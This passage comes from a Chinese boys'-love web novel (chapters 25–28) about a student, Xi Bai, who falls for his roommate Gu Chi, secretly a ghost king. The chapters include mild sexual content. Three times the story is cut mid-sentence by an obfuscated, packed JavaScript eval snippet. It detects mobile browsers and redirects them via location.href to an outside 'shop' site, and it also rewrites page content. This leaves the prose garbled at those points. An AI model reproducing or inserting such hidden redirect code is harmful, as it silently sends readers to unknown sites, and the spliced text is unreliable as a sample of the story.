他现在满脑子都要爆炸了。 他,溪白,刚刚居然帮顾弛,他的室友……做了那种事! 实话实说,溪白一开始真的没有其他心思。 只是觉得顾弛的“病”应他而起,就应该由他负责。 但现在,拖着酸软的双手写作业,洗了一个早上冷水脸的溪白,在这个瞬间简直不能够再清醒。 他突然意识到庄算叽叽歪歪说的那些东西是对的。 顾弛,一个校草级的,1米95身高腿长,一身漂亮肌肉,性格还好,家境殷实……以及目前来看只有他一个人知道的,某些从空间上和时间上都过分优越的条件。 再加上这段时间以来,顾弛对他表现出的,虽然偶尔略显笨拙,但实则细致体贴的关心。 没有任何一个喜欢男生的承受方,能抗拒得了这样的存在。 于是,冷静下来的溪白一通理智分析。 又把自己的理智分析炸了。 25.第 25 章 在今天的专业课上,溪白走神到连庄算都看出来了。 “溪宝,你没什么问题吧,要不要请假回宿舍补个觉?” 庄算是清楚溪白的体质问题的,但这两年来他找遍了认识的道医,自己私下也翻了不少书,却始终没有找到能帮朋友解决困扰的办法。 他看溪白的注意力完全不集中,还以为是因为昨晚的寒疾发作,又折腾得溪白一个晚上没睡着。 孰料,溪白摇了摇头,开口说了句他没想到的话。 “昨晚我寒疾没发作。” 庄算张大了嘴,诧异又欣喜。 “好了?!”他抓着溪白的胳膊直晃,喜悦之意溢于言表,“怎么突然就好了,是找到好的医生了吗,给你开了药?” 溪白抿了抿唇,思索了一阵也没想好从哪里开始解释。 准确来说,是发作了,又被顾弛“抱”好了。 但这并不是溪白想要和庄算探讨的问题重点。 溪白拿着笔在自己的教材课本上乱涂乱画,他盯着纸面上的文字,耳边是音响扩散开的教授讲课声,但实则一句话也没听进去。 良久,笔尖一顿。 溪白目光微微上抬,他缓慢地转过头,视线虚焦,像是还在思考。 最终,眼神定格,在看着庄算的眼睛的时候,溪白好似已经在心中获得了一个答案。 “小蒜头。” 没等庄算愤然反驳,溪白再度开口时丢出的一个炸·弹,直接把他炸懵了。 “我觉得,我好像喜欢上顾弛了。” 下课铃准时在窗外响起,庄算挖了挖耳朵。 “溪宝,我好像幻听了,你刚刚没说话吧?” 溪白:…… 他又重复了一遍。 “啊啊啊啊!!!!” 庄算一声尖叫,让已经半边身子出了教室的教授又探回了头。 “这位同学,有什么没听懂的地方吗?” 庄算秒变乖小孩,双手合握鞠躬。 “没有,谢谢老师,老师再见。” 逆着出教室的人流,庄算把溪白拉到角落,五官激动到扭曲。 “溪宝,什么情况,你把校草拿下了?啊啊啊我就说你们超!级!配!” 溪白按住好像随时要化身高精度摄像头狠狠记录自己接下来每一句话似的庄算。 “你冷静点,我和顾弛还没什么进展……” 话都说出来了,溪白才察觉到话里略有些错误。 也不叫没进展。 今早他都帮顾弛……咳。 “溪宝,你是不是在骗我?” 庄算斜着眼睛凑近,做出一副压迫感十足的样子,试图逼迫溪白老实交代。 “没有进展,你脸红什么?” 嗯? 说话! 溪白心下一慌,口不择言地替自己开脱道:“我想到喜欢的人就脸红了,不行吗。” 庄算:0.0 话说的虽然没什么底气。 但效果似乎还是可以的。 溪白刚松了口气。 庄算:哇偶!☆v☆! 溪白:…… 怎么又变成颜文字了! 不过关于今早的意外,总算也是糊弄过去了。溪白手指蹭了蹭自己的唇,总感觉上面还留着点沾了东西的错觉。 “但我也不知道顾弛究竟对我有没有那种想法。”溪白说。 “肯定有啊!” 庄算的信心似乎比溪白还要足,他搭着溪白的肩膀,从教室的最后一排往外走。 “我之前不都和你说了吗,顾弛对你跟对别人不一样,他在其他人口里的性格,那可是’高冷’。” 溪白想了想。 还是没能把宿舍里那只人形大型犬和“高冷”两个字挂上关系。 “但也不一定啊,就像你说的,顾弛没什么朋友,更没谈过恋爱。” 那对应的,没人知道顾弛对朋友是什么态度,对喜欢的人又是何种表现。 “那你想和他谈吗?” 庄算果断问了这么一句。 溪白点头,“当然。” 他想和顾弛在一起。 “那不就行了,管他喜不喜欢你,你追就完事了。” 庄算眼见着自己嗑上头的cp就要发展成真了,又开始胡言乱语。 “先找个机会,爬上他的床,玷·污他的人,再征服他的胃,收割他的心!” “来一场精彩的先do后i,上演现实中的绿江文学,指日可待!” 溪白:…… 他很想努力让自己变成-。-的表情,表达一下此刻的心情,顺便让庄算体会一下被颜文字暴击的痛苦。 但从后者依旧亢奋的反应来看,他应该是失败了。 “别说乱七八糟的。” 溪白此刻愈发觉得自己没让庄算知道自己和顾弛的“实际进展”是明智的。 要是让他知道现在自己和顾弛两个人不仅已经同床共枕两个月,而且还在今早……了。 估计到明年过年前,庄算一直都要持续用星星眼颜文字来暴击他了。 “我努力吧,追不追得到再说。”溪白轻轻吐出一口气,他一向就是有想法了就去做,就像是之前邀请顾弛当室友那样,不纠结,不拖沓。 反正按现在的情况看来,他追顾弛倒不是全无希望的。 “嗯,我也觉得。”庄算的嗓音突然拔高,用一种听着很老谋深算的语气,“择日不如撞日,今晚就开始进攻!” 溪白还没搞明白庄算怎么突然就又亢奋了,就被他搭在自己肩头的那只手带着扬起了头。 身旁庄算开始挥手。 “顾弛,溪白说今晚想和你两个人去吃晚餐!” 溪白抬起头。 他看到了一双缓缓睁大的,明显染上喜悦的眼睛。 那人很快就从楼梯上快步走下来,到了自己身边。 “溪白,我们去吃什么?” 声音微沉,但却依旧热切。 溪白根本看不出顾弛还会像庄算,还有庄算口中的“其他人”所说的那样,有他不知道的“高冷”的一面。 这也就算了。 为什么他会幻视顾弛身后出现了一根摇晃的尾巴啊! ※ 溪白按照庄算发的地址到店,在侍者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282711|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉开门的那一刻,溪白就后悔了。 小提琴和空气中氤氲的红酒香也就算了。 满店花团锦簇的玫瑰,还有台上的爱心天鹅毛巾又是什么东西? [White:小蒜头!你挑的这是什么店啊?] [神算子:嘿嘿,情侣烛光音乐晚餐,氛围不错吧!] [神算子:我好不容易抢到的呢,让给你了,好好珍惜] 溪白想说这未免也太快了吧,又是爱心又是玫瑰又是情侣的,他就怕一下刺激到顾弛。 敲着字,溪白突然觉得不对。 [White:你抢的?] [White:小蒜头,你抢情侣套餐干什么?] 手机那头一片沉默。 [神算子:我还有事,先走了啊] [神算子:加油溪宝,把顾大帅哥狠狠拿下!] [神算子:对了,如果要先do后i,记得多喝酒;如果你们要走纯情风,还是克制一下] 溪白一脸无语。 就在这时,身后的脚步声逐渐靠近。 跟在后面的顾弛环视了一圈四周,“这家店还挺好看的。” 溪白赶紧将手机上的虎狼之词遮住,他把手机揣进口袋里。 溪白观察了一下,见顾弛打量了一下装修和环境之后,并没有表露出意外或者怪异的意思。 侍者一路引导着两人入座,路上其实还有不少小情侣注意到他们这边。 大部分人的反应都是看一眼就收回,但也有些表露出几分意外或者好奇的。 但是,看顾弛的反应,他好像并不抗拒? 哪怕那些眼神里,明显是有把他们两人误会成一对的。 一想到这,溪白的心跳控制不住地开始加速。 侍者核验了券码。 “这边看二位预定的是我们的情侣双人烛光晚餐,是吗?” 溪白整张脸就要燃烧起来了。 他下意识地又去看顾弛的反应,然后就和后者直接对上了视线。 顾弛表情如常,见溪白没反应,还问了句。 “是这个吗?” 溪白嗯了一声,心说都这么大声了,顾弛不至于没听见或者没听清楚吧。 所以,顾弛莫非对他也…… 这么久以来,溪白头一次有了一种少男怀春的感觉。 原来被喜欢的人亲近,居然会是这样一种奇妙的体验,难怪那些陷入暗恋的人每天情绪起伏都那么大,还真是…… 溪白激动地抬起头看过去。 就见顾弛伸手把桌上的爱心天鹅毛巾提起一只。 “这是什么动物?” 然后又看了一圈四周。 “这里的花还挺好看,溪白你知道是什么花吗?” 溪白:………… “你……”溪白张口结舌,实在不知道自己该说什么好,看一眼满脸都是清澈的茫然的顾弛,又看了一眼他身旁鲜艳欲滴的花团。 实话实说,大团大团的玫瑰衬得顾弛更帅了,看着就让人心动。 但溪白现在更多的是有些迷茫。 “顾弛,你真不知道这是什么花?” 26.第 26 章 顾弛轻轻歪了一下脑袋,意思似乎是:我不知道很奇怪吗? “这是玫瑰。”溪白有些讷讷地解释道。 他见神情不似作伪,想来是真的不知道。 但真的有人不知道玫瑰吗,顾弛这家伙究竟在什么环境下长大的? 溪白看着低头轻嗅一阵,又抬手揉了揉鼻子的顾弛。 他思索了一阵,视线锁定顾弛的表情,语气慢悠悠的,但吐字清晰地开口。 “玫瑰……代表的是爱情。” 顾弛的动作明显一顿。 溪白继续讲述。 “一般来说,情侣之间赠送玫瑰,是在表达爱意……非情侣赠送玫瑰,是在表达倾慕和追求。” 就见顾弛的眼瞳轻轻晃动了一下,纤长的睫毛垂落几分。 溪白看到,顾弛的耳尖明显染上几分红意。 “那我能摘一朵吗?” 顾弛轻声地说,垂落在柔软花蕊的视线,堪称深情。 但他看的明显不是面前的玫瑰,而是透过那鲜艳欲滴的花团,看向什么别的身影。 溪白喃喃,无声。 “您好,给两位上一下饮料。” 侍者的声音将氛围打破。 溪白和顾弛错开视线。 他轻轻嗯了一声。 “就放这吧。” 随后的时间里,没有人再主动提玫瑰的事情,而双方似乎也十分“默契”的,话都要比往常少了一些。 溪白不知道顾弛究竟在想什么。 但他一直在思考的只有一件事。 顾弛摘玫瑰……是要做什么? 是要送人吗? 然后顾弛问他能不能摘玫瑰之前,明显脸红的那一下。 他究竟想到了谁? 回来的路上,冬天的北城难得下了一场雨。 细雨绵绵,带来一场几近无声的静谧,在这诡异而又默契的安静之中,溪白和顾弛踩着水回到宿舍。 一直到溪白洗完了澡,坐在房间里发呆了半个多小时,他也没找到这个问题的答案。 反倒是一场夜雨的到来,像是被雨水滋润了后的树根,无数不同的问题仿若接二连三萌发的蘑菇,数不清,又一团乱。 溪白细细地回想了一下今晚所发生的事情。 他觉得自己好像更加看不懂顾弛这个人了。 一开始,顾弛对“情侣烛光晚餐”做出的毫不抗拒的反应,让溪白暗自窃喜。 他以为,这或许是顾弛对他也有好感的证明。 但后来发生的事情,仿佛在反复打脸,昭示前面都是溪白自己的错觉。 顾弛不认识玫瑰,更毋论知晓玫瑰话语所代表的爱情; 顾弛也没听说过小提琴,对用刀叉吃西餐感到非常的意外和不能理解,甚至抱着胳膊在洗手间里看着自动干手机思索了很久。 但平日里顾弛的气质和打扮,却又透露着几分贵气。 溪白不了解那些男生喜欢的东西,但他知道体育生的球鞋一般价格都不便宜,他刚刚也搜了一下,光是顾弛摆在宿舍门口鞋架上的那几对限量款,加起来就大五位数了。 家境殷实,气质贵气,但不知道玫瑰,不懂西洋乐器,对现代科技略感茫然……世界上有这么割裂的人吗? 让溪白觉得,顾弛就像是初中课本《桃花源记》里写的那些人一般,不知有汉,无论魏晋,与外界隔绝。 也由此,溪白拿捏不准顾弛这些天对他的所有行为,究竟在这个风格清奇的家伙眼里,算什么程度的亲密。 说到男大学生这个品种,和他们恋爱或者暧昧的感觉,不同类型可以说是各有千秋。 文科生感觉像是被抓到脚踩两条船还能笑着说“天啊宝宝你居然发现了,果然是漂亮而聪明的女孩,我这个智性恋越来越喜欢你了呢”; 艺术生感觉像谈了个姐妹,随时都有可能发展成四·爱; 理科生感觉脖子上顶着的不是头,是电子元件,世界在他眼里仿佛只有二进制的1和0; 工科生丢进泥潭里涮一涮再捞上来,可能都比丢下去之前要干净; 至于体育生,基本上就一个字:乱。 荤素不忌,男女通吃,各种流传于小道消息之中的绯闻轶事,总能看到体育生的身影。平日里的行为也像极了孔雀开屏,走在路上毫无征兆地就开始运球跳投…… 但顾弛和上面的所有类型都不搭边。 溪白根本看不出他属于哪一类,从五官优越程度来说,上面谁都比不上;从气质来说,可能比大部分艺术生还要贵气一点。 至于体育生的那种乱,溪白更是看不出一点来。 不是他有滤镜。 而是有实际证据。 今天早上的事情,再一次浮现于脑海之中。 在溪白帮他……的时候,顾弛的表情可以说是相当生涩的。 甚至比溪白这个很少自己解决的人,还要生涩不少的程度。 此刻回味细品,溪白才意识到当时的顾弛究竟是一幕多能让人心旌摇曳的风景。 眼尾浮起红意,目光带着点迷离,似乎是对身体的反应和感知极为陌生,高大的身躯蜷起些许,高挺的鼻梁上都染上了几分醉醺醺的感觉。 到最后的时刻,顾弛更是直接把脑袋埋进了溪白的肩头。 闷·哼,喘·息,起伏的背脊,像极了一只被折腾坏了的大型犬,但却又依恋而不舍地靠在主人的肩头,不愿展现出一丝抗拒。 而这一切,都只因为溪白的一只手。 滚烫的浊意好似又回到了指尖,溪白觉得自己的手像是被烫了一下。 他猛地瑟缩了一下,意识逐渐回笼清醒。 看了一眼依旧传来阵阵水声的阳台,他徐徐吐出一口气。 这样看来,顾弛真的比他想的还要纯情。 这就更让溪白苦恼了。 这么单纯,那顾弛对自己的感情又会是什么呢? 溪白很担心,顾弛从始至终只把他当成一个朋友,甚至是当成室友。 [神算子:溪宝,进度如何!【吃瓜】] 溪白心说正好,问问庄算是怎么想的。 他大概讲述了一下,觉得顾弛很纯情的一些表现——当然是删掉了他和顾弛不过审的那些亲密细节的——总之就是旁敲侧击了一下,他觉得自己和顾弛已经在暧昧期了,但担心顾弛只把这些当做朋友相处的日常的事情。 [神算子:挺好的啊!] [White:?] 这算挺好的吗? 他感觉自己的感情前路一片茫然! [神算子:·纯情的才更好骗吧!] [White:?] [神算子撤回了一条消息] [神算子:纯情挺好的呀!多和他亲密,腻歪,让他习惯你的存在,最后再也离不开你!拿下!] 溪白:…… [神算子:而且纯情就是很好啊,你总不会想找一个玩很大的吧?] 其实庄算的话,也算是话糙理不糙。 阳台门被拉开的声响传来,溪白将手机反扣在桌面上。 顾弛从他身旁路过,脚步顿了一下。 回头和溪白对上目光,他又变成了微笑大狗。 “溪白?” 溪白的视线扫过顾弛额前湿漉漉的发丝,略有些凌乱,不如平日里那般显得干净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306833|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清澈。 但他的喉结就是滚了一下。 见溪白不说话,顾弛歪了歪头。 吹干头发,顾弛爬上了床,毕竟是大型犬,动静不小。 溪白抬起头时,目光和一双清澈的狗狗眼对上。 顾弛的五官深邃,鼻梁也高,骨相棱角更是清晰分明,但就是这一双内双的眼睛,让他的气质一下就不那么欧美精致风了,而是十足的华夏味道。 想到今晚顾弛那些反常的,不谙世事一般的表现。 顾弛莫不会真是什么养在与世隔绝的深山府邸里的贵公子吧? 溪白顺着思路脑补,如果顾弛穿一身古时候的衣袍,想必会很适合。 穿宽袍大袖,像是翻覆云雨,摆弄朝堂的丞相;若铁甲加身,又不乏驰骋沙场,平千军万马的气势……都很合适。 毕竟顾弛的气场还是很足的。 然后溪白就看到顾弛侧着身子,往墙壁那边挪了一点。 又挪了一点。 给他空出来了一截刚好能睡下的位置。 像是一只蹭地毯的大型犬。 溪白:…… 算了,以后还是不要脑补了。 也许是溪白被自己的脑补和现实之间的小小差距给冲击了一下。 他关灯爬上床的时候,表情比正常的状态下略显紧绷了一些,而躺下之后也是用后背对着顾弛。 宿舍里保持了一阵寂静的黑暗。 直到溪白察觉那熟悉的滚烫体温并没有像过去两个月的那几十个夜晚一样靠得那么近。 是床变大了的原因吗? 他后知后觉地回过头,就见黑暗之中,顾弛背脊贴着墙,正睁着一双眼睛看他。 彼此之间的距离几乎可以塞下另一个溪白。 溪白一阵沉默。 “还有位置。” 简单的四个字,顾弛品味了一阵后,立刻觉出味来。 黑暗里的那双狗狗眼立刻亮了几分,亮得溪白都有些不敢直视。 他刚一背过身,就感觉后背一烫。 像是塞了个火炉,背脊两侧的蝴蝶骨更是被一片软弹起伏给撞了一下。 是胸肌。 溪白:…… 如丝如缕的松木冷香随着呼吸进入鼻腔,溪白双腿交叠,身体本能地蜷起一些。 手指屈起抵在鼻尖,溪白又按了按自己的鼻梁。 太近了。 昏暗的室内,后背传来的灼烫体温,熟悉而令人心跳加速的香气。 溪白毫不怀疑,自己只要一个转身。 脑袋就会埋进顾弛的胸肌里。 他当然是喜欢的。 自己心动的男生,和自己靠得如此贴近,怎么可能不喜欢。 但这样下去,他要睡不着了啊! 溪白思索了许久,该如何跟顾弛开口。 毕竟刚刚是他主动让别人靠过来一些的。 而且,溪白并不想让顾弛误会自己不想和他贴贴。 百般纠结,溪白缓慢地转身。 他一边转,一边往床外边挪腾,尽量不要让自己有掉进胸肌包围里的可能。 但事与愿违。 在溪白的肩头撞上那一片柔软但有着韧劲的胸肌时,他清晰地听见了自己心跳的“咚咚”声。 只是没等他大脑思路跟上现实。 另外一句话,就响起在耳朵里。 「溪白……是生气了吗?」 溪白一愣。 很快,他整个人倒吸一口气,心跳再一次加速。 只不过这次不是因为什么暧昧和害羞。 因为他刚刚突然意识到:顾弛,分明没有开口说话! 27.第 27 章 顾弛明明没有出声,但溪白却听到了他说的话。 溪白敢肯定自己并没有幻听,因为那句话真的很清晰。 在这一刻,他突然意识到了什么。 顾弛确实没有开口说话。 他听到的,是顾弛的“心声”。 心脏在一瞬间提到了嗓子眼,冷汗瞬间浸湿了衣裳。 为什么? 他不是只能听见鬼的心声吗? 顾弛又是什么情况? 不论大脑之中出现了多少种可能性,但第一时间由潜意识带出来的那个可能,此刻正在溪白的脑海之中叫嚣。 顾弛,不是人。 念头在大脑之中疯狂滋长,难道过去的几个月,他一直在和一个鬼生活在一起? 而且回忆起最初的相遇,甚至可以说是溪白他自己“引狼入室”,让顾弛成功和他生活在了同一个屋檐下。 不仅如此,他们还同床共枕了两个月! “溪白?” 一只手掌悄然覆盖上肩头。 那一瞬,溪白差点大叫了出来。 但他死死地咬住了自己的下唇,在尖叫声彻底失控的前一瞬间,他的大脑光速地冷静了下来。 不,还不能确定。 他的确听到了顾弛的心声没错,但实际上,顾弛身上有很多能证明他“不是鬼”的地方。 比如顾弛不怕太阳,但那些阴物不到夕阳最后一丝残辉收回山头之后,是绝不会从隐藏着的各种角落里出现的。 而且,顾弛有呼吸,有体温……溪白甚至还直接地感受过。 溪白无声地吞咽了一下。 按在他肩头的那只手掌,此刻隔着衣服,仍旧传来阵阵滚烫的体温。 属于人类的体温。 而且,溪白清楚地回忆起来,庄术可是说过顾弛的八字是极阳之体。 如果顾弛是阴物,怎么会有这样的体质呢?溪白这么想着,逐渐就说服了胸膛里那颗过分激动,而失去了理智疯狂上蹿下跳的心脏。 冷静,溪白。 经过一番有效的心理建设,溪白逐渐冷静下来。 宿舍里虽然黑,但顾弛的眼睛却把溪白的反应看得一清二楚。 “你不舒服吗?” 顾弛担心地说了一句,伸手去摸溪白的额头。 手掌在半途被轻轻地挡了一下,溪白道:“没有,我没事。” 在手指碰到顾弛手背的那一刻,溪白静下心来,认真地“听”了一会儿。 果然,他又一次听到了那个“声音”。 「溪白真的没生病吗?」 这一下,溪白确定了,自己听到的就是顾弛的“心声”。 但刚刚冷静思考过后的溪白,觉得顾弛是人的可能性更大,毕竟顾弛有呼吸有体温敢晒太阳,而唯一“异常”的,就是自己能听到他的“心声”。 可是…… 溪白又想。 他只是能听到鬼的心声,又不代表能被他听见心声的全都是鬼。 初高中学的充分条件和必要条件之类的知识,他还是能记得一点的。 溪白越想越觉得自己的思路在理,心跳频率也逐渐回到了正常水平。 “我没事。” 为了遮掩自己的心虚,顺便像庄算教他的,要多和顾弛接触,试探对方的想法。 溪白开始在黑暗之中伸手摸索。 指尖蹭过高挺笔直的鼻梁,又轻轻戳到了那立体的眉骨,顺着饱满的额头网上,最终,轻轻按上了顾弛柔软的发丝。 溪白就着这个动作,轻轻摸了两下——用撸大型犬的手势。 “别担心,晚安。” 效果立竿见影。 本来还想追问几句的顾弛,现在只剩下讷讷几句。 “嗯……” “没,没事就好。” “……那,晚安。” 虽然冷静是冷静了,但心绪仍旧是乱的。 所以,为什么自己能听见顾弛的心声呢?明明从来没有听见过其他人的…… 一边思考,溪白一边闻着近在咫尺的松木冷香气味。 在温暖的体温贴近下,很快他的眼皮就不争气地开始打架,轻轻眨动了几下眼后,溪白缓慢而平静地,睡着了。 ※ 双目倏然睁开,猩红色泽如淌倒的墨汁一般迅速染红了本为黑色的眼瞳,最终缓缓压缩成一个红色的血点,再向上下两端延伸,变作竖线。 一双竖瞳宛若夜空之中绷紧的血月,带着一种心惊动魄的美。 修长的手指自溪白发丝间轻轻拂过,那双看似冰冷无情的猩红竖瞳中,流露出一丝充满人性的温柔和依恋。 下一秒,黑影一闪自房间之中掠出。 而床榻上安枕入眠的人,没有被这夜幕之下悄然无声的温柔给惊动和打扰哪怕半分。 这段时间,北城大学的夜晚总是很安静。 因为所有嘈杂的,爱惹事的,胆子大的阴物,都在冬至前的那个午夜里,被那位不知名的大能撕成了碎片。 现在还留下来的阴物,要么是晚上出行也要避着人走的社恐i鬼,要么是不小心碰倒了东西也会扶起来的社会主义热心好鬼。 就连学生都说,以往晚上从实验室回来总觉得学校里某些地方阴森森的,但现在却完全没有那种感觉了。 而今晚格外安静。 宿舍区附近的小树林里,树屋里的雌鸟将羽翼下的雏鸟们互得更加严实了一点,原本窃窃私语的幽魂山精们也纷纷将脑袋缩回了树影里。 在树丛最深处的幽暗之中,黑雾笼罩于地面,一黑一白两道身影漂浮其上。 “找我何事?” 谢必安和范无赦一个激灵,猛地回身,俯拜在地。 “鬼王大人。” 顾弛摆了摆手,“有话就说。” 他还赶着回去。 谢必安和范无赦对视一眼。 看来鬼王大人很适应人间的生活啊,居然能从他身上看出一种被打扰了睡眠的淡淡烦躁和想要回去的急切。 但实际上,顾弛对睡眠并没有什么要求。 他只是想快点回去溪白身边而已。 “鬼王大人。”谢必安上前一步,言简意赅地把来意说了,“鬼牢之中,有厉鬼脱逃。” 顾弛揉着太阳穴的手指,在这一刻停了下来。 地府黄泉之下,并非只有往生转世一条途径,阳世常说的十八层地狱,其实也是真实存在的。 而“鬼牢”,则是那些经过地狱折磨,偿还了罪孽,却仍旧没有获得转世资格的魂魄所要去的地方。 名字虽听着简单。 但鬼魂在其中受的折磨,并不比在什么拔舌地狱、无间地狱里受的轻。 鬼牢是一间无光的小房子。 鬼魂在其中会被勾魂索绑缚四肢吊起,仿佛置身于虚空之中,没有声音,没有光线,没有任何可以触碰之物, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13339680|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连摇晃锁链发出一点声响都做不到。 在鬼牢里更是感受不到时间的流逝,也不知道自己究竟多久才能赎清罪孽被放出去…… 是一处宛如虚空的,没有任何希望的地方。 如果不是杀孽深重的鬼,是不会被丢入鬼牢的。 而因此,在鬼牢之中的鬼,不少都会因为这样的折磨而滋生出无限的恨意,陷入疯狂。 “逃出来的是哪一个?” 两个无常对视一眼,最终还是谢必安答复。 “回殿下,是……”谢必安神色紧了紧,将脑袋埋得更低,“是,无厢。” 直到此刻,从出现到现在都有些心不在焉,不时要回头望几眼不远处的宿舍,好似急于归家的大型犬一般的顾弛,终于认真地,看了一眼面前的两位属下。 “无厢。” 谢必安神色一慌,和身旁的范无赦一同跪了下来。 “请殿下恕罪。” 猩红的竖瞳轻轻闪烁了一下。 “也不能怪你们。” “无厢逃出来也不过是迟早的事。” 无厢是有名的一只为祸人间的厉鬼,当年便是顾弛亲手封印的它,将其镇压于鬼牢之下。 被顾弛击败之日,无厢曾放出誓言:若来日它逃出鬼牢,必狠狠报复顾弛。 谢必安和范无赦松了口气,将前段时间鬼牢封印松动,无厢挣脱勾魂索阵,逃出地府的具体细节说了。 “行,我知道了。”顾弛道。 “殿下,您这边还是得多加留意……”范无赦犹豫再三,还是提醒了一句。 顾弛冷哼了一声,“我会怕他?” “殿下自然是不怕,可您现在身边,不是还多了一位……” 谢必安点到即止,目光悄悄观察了一下顾弛的反应。 果不其然,顾弛的脸色凝肃了些许。 “行,我知道了。” “那,属下告退。” 谢必安刚欲离开,就听顾弛开口说了句等等。 席卷而起的黑雾重新沉落,黑白无常保持着原来的动作。 “殿下请吩咐。” 红瞳闪烁几下,顾弛开口。 “如果这几日溪白找你们问与我相关的事,注意一下说出来的话,别让他怀疑我的身份。” “……属下明白。” 谢必安和范无赦急匆匆地又拜了拜,便化作两股黑雾,消失在了夜色之中。 猩红的竖瞳再度于安静的寝室内浮现。 红色化作星星点点散去,顾弛的眼睛又变成了人类的黑色圆瞳。 恰逢此刻,溪白呜咛了一声,翻了个身。 顾弛赶紧放轻动作,把人一接。 溪白的脑袋直接撞进了顾弛的胸肌里。 偏他似乎还熟睡着,并未意识到梦里的自己已经彻底翻了个身,从背对着顾弛,直接变成了扑入对方怀中。 顾弛眼中的光早已温柔得无以复加,他低头望着怀里的人,抬起手,修长的手指轻轻戳了戳溪白因为睡姿,而在脸侧堆起来的一小块软肉。 溪白唔了一声,抬起手。 手指挠了挠脸蛋,又挥了挥。 脑袋枕在顾弛的胸膛上,溪白似乎是觉得很舒服,于是又挪腾了几下,把脸往深处埋了埋。 此时此刻,什么鬼牢,什么无厢,什么七七八八的,顾弛都不记得了。 他脑袋里就剩一句话。 溪白真可爱啊。 28.第 28 章 溪白一觉睡到大天亮。 搓了搓眼睛,他想要坐起身,却觉得肩头压着力道。 溪白一睁眼。 他突然觉得那个被胸肌阴影震惊到的表情包小人在此刻具象化了起来。 可他昨天晚上不是背对着顾弛睡的吗? 肩头勾着顾弛的一只手臂,明明看着没用力,也不是很重,但按着他动不了却是足够了。 又尝试了一下,溪白发现起是起不来了。 于是他只能小心翼翼地又开始挪腾。 先是手撑着两人之间本就所剩不多的床板,拉开了一小节距离,溪白每动一下,就担心会把顾弛碰醒,然后陷入面对面对视的尴尬境地。 顾弛说不定还会说什么“溪白你抱起来好软”之类的话。 偏偏那家伙是个思维清奇的,什么都敢说,但说出来的话,自己都不知道听着有多暧昧。 只留溪白自己在那羞得爆炸。 一想到那个场景,溪白就有些脚趾抓地了。 白皙的耳朵,从一大早就开始泛红。 溪白加快了一点速度,一点,一点地翻转身体。 等他刚好完成180度的旋转后,溪白突然发现一件事。 这个姿势好像并不比刚刚好多少啊! 他和顾弛并排躺在床上,顾弛一只手臂从他背后环过来,刚好圈着自己的肩头。 除了彼此之间还保持着一点勉强算得上体面的距离,其他的和顾弛从背后抱着他有什么区别! 溪白正想着。 顾弛不知道是做梦了还是什么。 环绕着清瘦肩头的手臂用力,往内一收紧。 溪白整个人直接被向后拖了一截,纤薄的后背直直撞进一片胸膛。 宽阔、滚烫。 还充满了一种难以言喻的弹性。 后背因为那股软弹的缓冲,一点也不疼。 但却弹得溪白的心脏开始加速,升温,最终狂跳了起来。 现在的溪白,是彻底被顾弛从身后抱在怀里了! 宽大有力的手掌覆盖在溪白的肩头,修长的手臂连同手肘几乎是全面压制着溪白的半身。 而顾弛似乎是追着什么东西,溪白只听见一声轻微的深吸气。 下一刻,吐气声带着一阵温热,便落在了那修长白皙的脖颈侧。 溪白浑身的汗毛都炸了起来。 该怎么办?! 被喜欢的大型犬类型的男生从身后抱着,还是心中已暗自生出倾慕之情的人。 溪白不是没有想象过这样的情景。 但在现实上演的时候,他才意识到这是一种多大的刺激。 远超过他这个从未谈过恋爱,更别说经历亲密接触的大学生的接受范围。 但……总要习惯的吧。 溪白不知道自己的脸现在温度有多高,但他敢肯定一定很红。 虽然很害羞。 但是被顾弛抱着的感觉,还是很好的。 闻着淡淡的松木香,溪白紧绷的身体稍稍放松了一点。 其实,也就是抱着么。 除了体型大只一点差点把他整个人包裹住,后背贴着的胸肌触感清晰了一点,顾弛的体温高了点,其他的也就是…… 溪白眨了眨眼。 他突然在想,那个从刚刚开始就一直在他尾椎骨附近,温度比顾弛身上其他各处都要高,但因为太紧张,所以被他一直忽略掉的东西,究竟是什么。 好像有点熟悉? 溪白下意识地伸手。 。 …… !!!!!! 顾弛是被一阵特别闹腾的动静给吵醒的。 他睁开眼的时候,看到的就是溪白手脚并用地踩在自己身上,整个人疯狂往外退。 但因为自己的手臂搭在他的肩头,溪白实际上并没有拉开多少距离。 “溪白?” 看到顾弛醒了,溪白整个人更是羞耻到极致。 眼尾带着一点湿润的红意,衬得本就如琉璃一般漂亮的双眼更加勾人,因为羞愤用力咬着下唇,唇瓣都被牙齿磨出了一点绯色,显得愈发饱满。 这一幕看得顾弛心情极好,直接弯起眼睛笑了起来。 “溪白,早安!” 不得不说,一只微笑的阳光帅气大型犬,对溪白的杀伤力可谓非同凡响。 